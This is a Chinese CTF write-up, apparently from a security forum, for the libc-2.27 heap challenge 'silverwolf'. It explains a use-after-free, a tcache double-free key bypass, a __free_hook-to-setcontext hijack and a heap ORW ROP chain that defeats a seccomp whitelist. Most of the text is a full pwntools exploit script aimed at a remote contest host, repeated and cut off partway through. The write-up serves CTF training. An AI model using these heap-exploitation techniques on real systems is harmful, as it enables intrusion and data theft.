感叹一下。太久没有做过libc pwn了,手生的不是一点 : (
初赛打完了,我们这边一共出了4/6个 PWN,不过学弟出的那一道800分的PWN远程我们调了半天调试不通,猜测是远程的seccomp影响了堆风水,有点遗憾。。(后浪们上来了啊)
这道sliverwolf我个人觉得是中等偏上难度的堆题,很适合新手进阶训练,来分享一下我的题解。
libc2.27的1.3版本,已经带了tcache的double free检测。需要通过破坏key来绕过double free检测。
开启了seccomp。以白名单的方式限制了只能是orw系统调用。
主要就是这个很明显的UAF漏洞。可以导致:
由于限制chunk的大小不能大于0x78,所以正常情况下没法去把一个chunk放入unsortedbin。
这里有两种思路:
我这里采用1.
我们有了libc后,轻易的就可以将free_hook劫持为setcontext+53,而setcontext+53可以轻易的通过多次mov操作来重新设置寄存器,以rdi为base address来取值(类似srop),然后如果我们通过free操作,控制rdi指向的chunk首布置栈转移的chain,也就相当于可以控制了所有寄存器的值。此时完成了堆上orw的第一个准备。
在申请出来tcache pthread后我们可以对整个tcache的情况进行修改,而整个白名单orw链需要0xd8的空间,刚好比0x78+0x68大0x8。所以我们劫持tcahce pthread钟大小为0x80和0x70的tcahce的指针指向合适的地址,add0x68->写入orw1、add0x78->写入orw2,而orw1+orw2连续起来就是完成的堆上orw链。
最后free掉布置了栈转移的chunk即可,将rsp迁移到堆上orw链的起始位置。
这里需要注意:syscall;ret
这条指令直接拿ROPgadgets是搜不到的,我们直接将libc文件放入ida,根据他的编码:0x0f 0x05 0xc3
在ida的binary search中搜索编码就能找到了。
2.27的orwHeap在:https://blog.csdn.net/carol2358/article/details/108351308
这篇文章中有比较详细的描述,我就不从0讲了。
from
pwn
import
*
from
LibcSearcher
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"./libc-2.27.so"
elf_path
=
"./silverwolf_2"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
cho
=
'Your choice: '
siz
=
'Size: '
con
=
'Content: '
ind
=
'Index: '
edi
=
''
def
add(index
=
'
',size='
',c='
1
'):
sal(cho,c)
sal(ind,
str
(index))
sal(siz,
str
(size))
def
free(index,c
=
'4'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'3'
):
sal(cho,c)
sal(ind,
str
(index))
def
edit(index,content
=
'
',c='
2
'):
sal(cho,c)
sal(ind,
str
(index))
sa(con,content)
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
clean():
for
i
in
range
(
14
):
add(
0
,
0x18
)
add(
0
,
0x58
)
for
i
in
range
(
12
):
add(
0
,
0x68
)
def
exp():
global
io
io
=
remote(
'124.70.110.211'
,
23535
)
clean()
add(
0
,
0x78
)
free(
0
)
show(
0
)
r(
9
)
raw
=
u64(r(
6
).ljust(
8
,
'\x00'
))
info(
"raw:"
+
hex
(raw))
heap
=
raw
-
0x1170
success(
"heap: "
+
hex
(heap))
edit(
0
,p64(heap
+
0x10
)
+
p64(
0
)
+
'\n'
)
add(
0
,
0x78
)
add(
0
,
0x78
)
edit(
0
,
'\x00'
*
0x78
)
for
i
in
range
(
7
):
free(
0
)
edit(
0
,p64(
0
)
*
2
+
'\n'
)
free(
0
)
show(
0
)
r(
9
)
libc.address
=
u64(ru(
'\x7f'
).ljust(
8
,
'\x00'
))
-
96
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
"libc: "
+
hex
(libc.address))
setcontext
=
libc.sym[
'setcontext'
]
+
53
free_hook
=
libc.sym[
'__free_hook'
]
success(
"free_hook:"
+
hex
(free_hook))
success(
"setcontext:"
+
hex
(setcontext))
edit(
0
,p64(
0x1
)
*
8
+
p64(
0
)
*
3
+
p64(heap
+
0xef8
)
+
p64(free_hook)
+
p64(heap
+
0xe18
)
+
p64(heap
+
0xe80
)
+
'\n'
)
success(
"orw:"
+
hex
(heap
+
0xe18
))
add(
0
,
0x58
)
edit(
0
,p64(setcontext)
+
'\n'
)
add(
0
,
0x48
)
flag_addr
=
heap
+
0xf30
rsp
=
heap
+
0xe18
rbx
=
0
rbp
=
0
r12
=
0
r13
=
0
r14
=
0
pop_rdi
=
libc.address
+
0x00000000000215bf
stack_pivot
=
flat(
rbx,rbp,r12,r13,r14,
rsp
+
8
,
pop_rdi,
'./flag\x00'
)
info(
"stack_pivot len:"
+
hex
(
len
(stack_pivot)))
edit(
0
,stack_pivot
+
'\n'
)
add(
0
,
0x68
)
flag_str_addr
=
heap
+
0xf30
pop_rdi
=
libc.address
+
0x00000000000215bf
pop_rsi
=
libc.address
+
0x0000000000023eea
syscall
=
0xD2745
+
libc.address
pop_rax
=
libc.address
+
0x0000000000043ae8
pop_rdx_r10
=
0x0000000000130544
+
libc.address
flag_addr
=
heap
+
0x200
info(
hex
(pop_rdi)
+
' '
+
hex
(pop_rsi))
orw1
=
flat(
pop_rdi,
flag_str_addr,
pop_rsi,
0
,
pop_rax,
2
,
syscall,
pop_rdi,
3
,
pop_rsi,
flag_addr,
pop_rdx_r10,
0x100
,
)
edit(
0
,orw1
+
'\n'
)
add(
0
,
0x78
)
orw2
=
flat(
0
,
pop_rax,
0
,
syscall,
pop_rdi,
1
,
pop_rsi,
flag_addr,
pop_rdx_r10,
0x100
,
0
,
pop_rax,
1
,
syscall
)
edit(
0
,orw2
+
'\n'
)
shell()
exp()
from
pwn
import
*
from
LibcSearcher
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"./libc-2.27.so"
elf_path
=
"./silverwolf_2"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
cho
=
'Your choice: '
siz
=
'Size: '
con
=
'Content: '
ind
=
'Index: '
edi
=
''
def
add(index
=
'
',size='
',c='
1
'):
sal(cho,c)
sal(ind,
str
(index))
sal(siz,
str
(size))
def
free(index,c
=
'4'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'3'
):
sal(cho,c)
sal(ind,
str
(index))
def
edit(index,content
=
'
',c='
2
'):
sal(cho,c)
sal(ind,
str
(index))
sa(con,content)
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
clean():
for
i
in
range
(
14
):
add(
0
,
0x18
)
add(
0
,
0x58
)
for
i
in
range
(
12
):
add(
0
,
0x68
)
def
exp():
global
io
io
=
remote(
'124.70.110.211'
,
23535
)
clean()
add(
0
,
0x78
)
free(
0
)
show(
0
)
r(
9
)
raw
=
u64(r(
6
).ljust(
8
,
'\x00'
))
info(
"raw:"
+
hex
(raw))
heap
=
raw
-
0x1170
success(
"heap: "
+
hex
(heap))
edit(
0
,p64(heap
+
0x10
)
+
p64(
0
)
+
'\n'
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-5-16 19:47
被Roland_编辑
,原因: